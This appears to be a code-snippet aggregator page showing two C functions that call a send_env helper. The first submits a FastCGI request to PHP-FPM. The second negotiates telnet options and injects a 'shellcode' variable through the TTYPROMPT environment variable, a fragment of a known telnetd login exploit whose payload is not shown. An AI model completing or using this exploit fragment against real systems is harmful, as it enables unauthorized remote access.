示例#1
0
int
subreq_run(int id)
{
    unsigned short request_id = id;
    int sock = INVALID_SOCKET;
    int connect_ret = connect_to_fpm(host, port, &sock);
    if (connect_ret) {
        return 1;
    }
    ssize_t begin_ret = begin_send(&sock, request_id);
    if (!begin_ret) {
        close(sock);
        return 2;
    }
    ssize_t send_env_ret = send_env(&sock, *(keys_dict+id), *(vals_dict+id), len_dict[id], request_id);
    if (!send_env_ret) {
        close(sock);
        return 3;
    }
    ssize_t send_content_ret = send_content(&sock, *(content_dict+id), request_id);
    if (!send_content_ret) {
        return 4;
    }

	struct myevent_s *ev;
	struct epoll_event epv = {0, {0}};
	epv.events = EPOLLIN;
	ev = emalloc(sizeof(struct epoll_event));
	ev->fd = sock;
	ev->request_id = request_id;
	epv.data.ptr = ev;
	epoll_ctl(g_epoll_fd, EPOLL_CTL_ADD, sock, &epv);

	return 0;
}
示例#2
0
void do_negotiate(int sock)
{
    send_wont(sock, TELOPT_TTYPE);
    send_wont(sock, TELOPT_NAWS);
    send_wont(sock, TELOPT_LFLOW);
    send_wont(sock, TELOPT_LINEMODE);
    send_wont(sock, TELOPT_XDISPLOC);
    send_will(sock, TELOPT_LFLOW);
    send_will(sock, TELOPT_LINEMODE);
    send_wont(sock, TELOPT_OLD_ENVIRON);
    send_will(sock, TELOPT_NEW_ENVIRON);
    send_will(sock, TELOPT_BINARY);
    send_env(sock, "TTYPROMPT", shellcode);
    return;
}